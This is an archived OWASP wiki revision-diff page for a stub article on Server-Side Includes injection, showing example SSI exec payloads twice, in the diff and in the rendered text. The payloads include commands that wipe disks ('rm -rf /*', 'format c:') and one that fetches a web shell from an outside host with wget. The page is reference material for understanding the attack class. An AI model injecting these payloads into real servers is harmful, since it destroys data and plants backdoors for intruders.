This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "Server-Side Includes (SSI) Injection"

From OWASP
Jump to: navigation, search
m (Examples)
m (Examples)
Line 6: Line 6:
 
==Examples ==
 
==Examples ==
 
'''Linux'''<br>
 
'''Linux'''<br>
List Files - font color='red'>< !--#exec cmd="ls" --></font><br>
+
List Files - <font color='red'>< !--#exec cmd="ls" --></font><br>
Remove All - font color='red'>< !--#exec cmd="rm -rf /*" --></font><br>
+
Remove All - <font color='red'>< !--#exec cmd="rm -rf /*" --></font><br>
Navigate Directories - font color='red'>< !--#exec cmd="cd /root/dir/" --><</font>br>
+
Navigate Directories - <font color='red'>< !--#exec cmd="cd /root/dir/" --><</font>br>
Plant Shell - font color='red'>< !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --></font><br>
+
Plant Shell - <font color='red'>< !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --></font><br>
 
<br>
 
<br>
 
'''Windows'''<br>
 
'''Windows'''<br>
List Files - font color='red'>< !--#exec cmd="dir" --></font><br>
+
List Files - <font color='red'>< !--#exec cmd="dir" --></font><br>
Remove All - font color='red'>< !--#exec cmd="format c:" --></font><br>
+
Remove All - <font color='red'>< !--#exec cmd="format c:" --></font><br>
 
Navigate Directories - <font color='red'>< !--#exec cmd="cd C:\admin\dir" --></font><br>
 
Navigate Directories - <font color='red'>< !--#exec cmd="cd C:\admin\dir" --></font><br>
  

Revision as of 19:21, 29 April 2007

This is an Attack. To view all attacks, please see the Attack Category page.


Description

SSI can be injected in to input fields where code is echo'd out and attackers are able to execute commands.

Examples

Linux
List Files - < !--#exec cmd="ls" -->
Remove All - < !--#exec cmd="rm -rf /*" -->
Navigate Directories - < !--#exec cmd="cd /root/dir/" --><br> Plant Shell - < !--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->

Windows
List Files - < !--#exec cmd="dir" -->
Remove All - < !--#exec cmd="format c:" -->
Navigate Directories - < !--#exec cmd="cd C:\admin\dir" -->

Related Threats

Related Attacks

Related Vulnerabilities

Related Countermeasures

Categories

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.